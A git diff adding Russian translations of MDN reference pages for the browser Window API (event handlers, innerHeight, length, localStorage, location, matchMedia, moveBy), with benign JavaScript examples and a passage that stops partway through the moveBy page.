{{domxref("GlobalEventHandlers.onkeyup")}}
+
Свойство обработчика событий для события {{event("keyup")}} в окне.
+
{{domxref("WindowEventHandlers.onlanguagechange")}}
+
Свойство обработчика событий для события {{event("languagechange")}} в окне.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Свойство обработчика событий для загрузки окна.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Свойство обработчика событий для события mousedownв окне.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Свойство обработчика событий для события mousemove в окне.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Свойство обработчика событий для события mouseout в окне.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Свойство обработчика событий для события mouseover в окне.
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Свойство обработчика событий для события mouseup в окне.
+
{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}
+
Свойство обработчика событий для события MozBeforePaint, которое присылается прежде чем окно будет перерисовано, если событие необходимо из-за вызова метода {{domxref("Window.mozRequestAnimationFrame()")}}.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Вызывается, когда было потеряно соединение с сетью. Смотри событие {{event("offline")}}.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Вызывается, когда соединение с сетью было установлено. Смотри событие {{event("online")}}.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Свойство обработчика событий для события pageshow в окне.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Свойство обработчика событий для события pagehide в окне.
+
{{domxref("Window.onpaint")}}
+
Свойство обработчика событий для события paint в окне.
+
{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}
+
Вызывается, когда была нажата кнопка назад.
+
{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}
+
Свойство обработчика событий для обработки отказа события {{jsxref("Promise")}}.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Свойство обработчика событий для события reset в окне.
+
{{domxref("GlobalEventHandlers.onresize")}}
+
Свойство обработчика событий для изменения размера окна.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Свойство обработчика событий для прокрутки окна.
+
{{domxref("GlobalEventHandlers.onwheel")}}
+
Вызывается, когда ыло прокручено колесико мыши в любую сторону.
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Свойство обработчика событий для события выбора в окне.
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
{{domxref("EventHandler")}}, представлющий собой код, который будет вызван, когда проихойдет событие {{event("selectionchange")}}.
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Свойство обработчика событий для события submits в окне формы.
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
Свойство обработчика событий для отвязки обработчика отказа события {{jsxref("Promise")}}.
+
{{domxref("Window.onunload")}}
+
Свойство обработчика событий для события unload в окне.
+
{{domxref("Window.onuserproximity")}}
+
Свойство обработчика событий для события изменения близости пользоватя к устройству.
+
{{domxref("Window.onvrdisplayconnected")}} {{experimental_inline}}
+
Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было присоединено к компьютеру (когда запускается событие {{event("vrdisplayconnected")}}).
+
{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}
+
Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).
+
{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}
+
Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).
+
+ +

Конструкторы

+ +

Смотри так же DOM Interfaces.

+ +
+
{{domxref("Window.ConstantSourceNode")}}
+
Создает экземпляр {{domxref("ConstantSourceNode")}}
+
+ +
+
{{domxref("Window.DOMParser")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.GeckoActiveXObject")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Image")}}
+
Создает {{domxref("HTMLImageElement")}}.
+
{{domxref("Option")}}
+
Создает {{domxref("HTMLOptionElement")}}
+
{{domxref("Window.QueryInterface")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.XMLSerializer")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Worker")}}
+
Используется для создания  Web worker
+
{{domxref("Window.XPCNativeWrapper")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.XPCSafeJSObjectWrapper")}}
+
{{todo("NeedsContents")}}
+
+ +

Интерфейс

+ +

Смотри DOM Reference

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html new file mode 100644 index 0000000000..5207cf8536 --- /dev/null +++ b/files/ru/web/api/window/innerheight/index.html @@ -0,0 +1,88 @@ +--- +title: Window.innerHeight +slug: Web/API/Window/innerHeight +tags: + - API + - NeedsMarkupWork + - Property + - Reference +translation_of: Web/API/Window/innerHeight +--- +
Высота (в пикселях) области просмотра окна браузера, включая, если отображается, горизонтальную полосу прокрутки.
+ +

Синтаксис

+ +
var intViewportHeight = window.innerHeight;
+ +

Значение

+ +

По возвращению, intViewportHeight это высота области просмотра окна браузера.

+ +

Свойство window.innerHeight доступно только для чтения; у него нет значения по умолчанию.

+ +

Примечания

+ +

Свойство innerHeight поддерживается в любом объекте окна, например {{domxref ("window")}}, фрейме, наборе фреймов или вторичном окне.

+ +

Существует алгоритм для получения высоты области просмотра, включая, если отображается, горизонтальную полосу прокрутки.

+ +

Пример

+ +

Assuming a frameset

+ +
var intFrameHeight = window.innerHeight; // or
+
+var intFrameHeight = self.innerHeight;
+// вернет высоту окна просмотра кадра в наборе кадров
+
+var intFramesetHeight = parent.innerHeight;
+// will return the height of the viewport of the closest frameset
+
+var intOuterFramesetHeight = top.innerHeight;
+// will return the height of the viewport of the outermost frameset
+
+ +

{{todo("link to an interactive demo here")}}

+ +

To change the size of a window, see {{domxref("window.resizeBy()")}} and {{domxref("window.resizeTo()")}}.

+ +

To get the outer height of a window, i.e. the height of the whole browser window, see {{domxref("window.outerHeight")}}.

+ +

Графический пример

+ +

На следующем рисунке показана разница между externalHeight и innerHeight.

+ +

innerHeight vs outerHeight illustration

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM View', '#dom-window-innerheight', 'window.innerHeight')}}{{Spec2('CSSOM View')}}Начальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.innerHeight")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/length/index.html b/files/ru/web/api/window/length/index.html new file mode 100644 index 0000000000..541e393563 --- /dev/null +++ b/files/ru/web/api/window/length/index.html @@ -0,0 +1,47 @@ +--- +title: Window.length +slug: Web/API/Window/length +translation_of: Web/API/Window/length +--- +
{{ ApiRef() }}
+ +

Сводка

+ +

Возвращает кол-во фреймов (например {{HTMLElement("frame")}} или {{HTMLElement("iframe")}}) в текущем окне.

+ +

Синтаксис

+ +
framesCount = window.length;
+
+ + + +

Пример

+ +
if (window.length) {
+  // Этот документ содержит фреймы
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}{{Spec2('HTML5 W3C')}} 
diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..03282b401f --- /dev/null +++ b/files/ru/web/api/window/localstorage/index.html @@ -0,0 +1,94 @@ +--- +title: Window.localStorage +slug: Web/API/Window/localStorage +tags: + - API + - Property + - Read-only + - Reference + - Storage + - Web Storage + - Window + - WindowLocalStorage + - localStorage +translation_of: Web/API/Window/localStorage +--- +

{{APIRef("Web Storage API")}}

+ +

Свойство localStorage позволяет получить доступ к {{domxref("Storage")}} объекту. localStorage аналогично свойству sessionStorage. Разница только в том, что свойство sessionStorage хранит данные в течение сеанса (до закрытия браузера), в отличие от данных,  находящихся в свойстве localStorage, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.

+ +

Следует отметить, что данные, сохраннённые как в localStorage, так и в sessionStorage, являтся специфичными для протокола страницы.

+ +

Ключи и значения всегда строки (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).

+ +

Синтаксис

+ +
myStorage = window.localStorage;
+ +

Значение

+ +

Объект {{DOMxRef("Storage")}}, который используется для доступа к текущему локальному хранилищу.

+ +

Исключения

+ +
+
SecurityError
+
Запрос к хранилищу нарушает разрешение политик, либо источник для хранения не является корректной комбинацией схема/хост/порт (такое может произойти, если источником для хранения является file: или data: схемы, например). Как ещё один пример появления ошибки, пользователь через конфигурацию браузера запретил хранение данных для некоторых источников.
+
+ +

Пример

+ +

Следующий код показывает пример доступа к локальному объекту {{DOMxRef("Storage")}} для текущего домена и добавляет данные в него с помощью {{DOMxRef("Storage.setItem()")}}.

+ +
localStorage.setItem('myCat', 'Tom');
+ +

Считывать данные из localStorage для определенного ключа, можно следующим образом:

+ +
let cat = localStorage.getItem('myCat');
+
+ +

Удалять данные можно так:

+ +
localStorage.removeItem('myCat'); // вернёт undefined
+
+ +

Для удаления всех записей, то есть полной очистки localStorage, используйте:

+ +
localStorage.clear();
+ +
+

Примечание: Пожалуйста, обратитесь к статье Using the Web Storage API для более подробных примеров.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}{{Spec2("HTML WHATWG")}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Window.localStorage")}}

+ +

Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html new file mode 100644 index 0000000000..d14951e9d3 --- /dev/null +++ b/files/ru/web/api/window/location/index.html @@ -0,0 +1,216 @@ +--- +title: Window.location +slug: Web/API/Window/location +tags: + - API + - HTML DOM + - Window + - Свойство + - Ссылки +translation_of: Web/API/Window/location +--- +

{{APIRef}}

+ +

Свойство только для чтения Window.location возвращает объект {{domxref("Location")}} с информацией о текущем расположении документа.

+ +

Хотя Window.location представляет собой объект только для чтения Location, вы можете присвоить ему  {{domxref("DOMString")}}. Это значит что в большинстве случаев вы можете работать с location как со строкой: location = 'http://www.example.com' это синоним для location.href = 'http://www.example.com'.

+ +

Синтаксис

+ +
var oldLocation = location;
+location = newLocation;
+
+ +

Примеры

+ +

Базовый пример

+ +
alert(location); // выведет сообщение "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"
+ +

Пример №1: Переход на новую страницу

+ +

Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван location.assign() с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.

+ +
location.assign("http://www.mozilla.org"); // или
+location = "http://www.mozilla.org";
+
+ +

Пример №2: Принудительная перезагрузка текущей страницы с сервера

+ +
location.reload(true);
+ +

Пример №3

+ +

Рассмотрим следующий пример, который будет перезагружать страницу используя метод replace() для вставки значения location.pathname в хэш:

+ +
function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+
+ +
Примечание: Пример выше работает в ситуациях, когда нет необходимости сохранять (оставлять) location.hash. Между тем, в Gecko-based браузерах, установка location.pathname таким образом будет очищать любую информацию в location.hash, в то время как в WebKit (и возможно в других браузерах), установка pathname не изменяет hash. Если вам необходимо изменить pathname но сохранить hash как есть, используйте метод replace(), который должен работать одинаково во всех браузерах.
+ +

Пример №4: Отображение свойств текущего URL в диалоге alert

+ +
function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// в html: <button onclick="showLoc();">Показать свойства location</button>
+
+ + + +
function sendData (sData) {
+  location.search = sData;
+}
+
+// в html: <button onclick="sendData('Some data');">Отправить данные</button>
+
+ +

Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).

+ +

Пример №6: Использование закладок без изменения свойства hash

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="UTF-8"/>
+<title>MDN Example</title>
+<script>
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+</script>
+<style>
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+</style>
+</head>
+
+<body>
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.</p>
+<p id="myBookmark1">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');">Go to bookmark #2</span>&nbsp;]</p>
+<p>Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+<p>Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.</p>
+<p>Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.</p>
+<p>Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.</p>
+<p>Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.</p>
+<p id="myBookmark2">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');">Go to bookmark #1</span> | <span class="intLink" onclick="showBookmark('#myBookmark1', false);">Go to bookmark #1 without using location.hash</span> | <span class="intLink" onclick="showBookmark('#myBookmark3');">Go to bookmark #3</span>&nbsp;]</p>
+<p>Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.</p>
+<p>Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.</p>
+<p id="myBookmark3"><em>Here is the bookmark #3</em></p>
+<p>Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.</p>
+<p>Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.</p>
+<p>Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.</p>
+<p>Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.</p>
+<p>Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.</p>
+<p>Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.</p>
+<p>Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.</p>
+<p>Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.</p>
+<p>Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.</p>
+<p>Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</p>
+</body>
+</html>
+
+ +
Примечание: функция showNode является также примером использования цикла for без раздела statement. В этом случае точка с запятой всегда добавляется сразу после декларации цикла.
+ +

…тоже самое только с анимированной прокруткой страницы:

+ +
var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame > nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash && _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId > -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}{{Spec2('HTML WHATWG')}}Нет изменений с {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}{{Spec2('HTML5 W3C')}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.location")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/window/matchmedia/index.html b/files/ru/web/api/window/matchmedia/index.html new file mode 100644 index 0000000000..21a386eaa8 --- /dev/null +++ b/files/ru/web/api/window/matchmedia/index.html @@ -0,0 +1,53 @@ +--- +title: Window.matchMedia() +slug: Web/API/Window/matchMedia +translation_of: Web/API/Window/matchMedia +--- +
{{APIRef}}
+ +

Сводка

+ +

Возвращает новый объект {{domxref("MediaQueryList")}} содержащий результат обработки переданной media query строки.

+ +

Синтаксис

+ +
mql = window.matchMedia(mediaQueryString)
+ +

где mediaQueryString является строкой медиа запроса, для которой будет возвращён новый объект {{domxref("MediaQueryList")}}.

+ +

Пример

+ +
if (window.matchMedia("(min-width: 400px)").matches) {
+  /* the viewport is at least 400 pixels wide */
+} else {
+  /* the viewport is less than 400 pixels wide */
+}
+ +

Данный код позволяет обрабатывать поведение по другому, когда размер окна очень узкий.

+ +

Смотрите Использование медиа-запросов из кода для дополнительных примеров.

+ +

Поддержка браузерами

+ +

 

+ +

{{Compat("api.Window.matchMedia")}}

+ +

 

+ +
 
+ +

Спецификация

+ + + +

Смотрите так же

+ + diff --git a/files/ru/web/api/window/moveby/index.html b/files/ru/web/api/window/moveby/index.html new file mode 100644 index 0000000000..6744e2a2e0 --- /dev/null +++ b/files/ru/web/api/window/moveby/index.html @@ -0,0 +1,70 @@ +--- +title: Window.moveBy() +slug: Web/API/Window/moveBy +translation_of: Web/API/Window/moveBy +--- +
{{APIRef}}
+ +
Метод moveBy() интерфейса Window перемещает текущее окно на указанное количество.
+ +
+

Примечание: Эта функция перемещает окно относительно текущего положения. В свою очередь, {{domxref("window.moveTo()")}} перемещает к абсолютному значению.

+
+ +

Синтаксис

+ +
window.moveBy(deltaX, deltaY)
+
+ +

Параметры

+ + + +

Пример

+ +

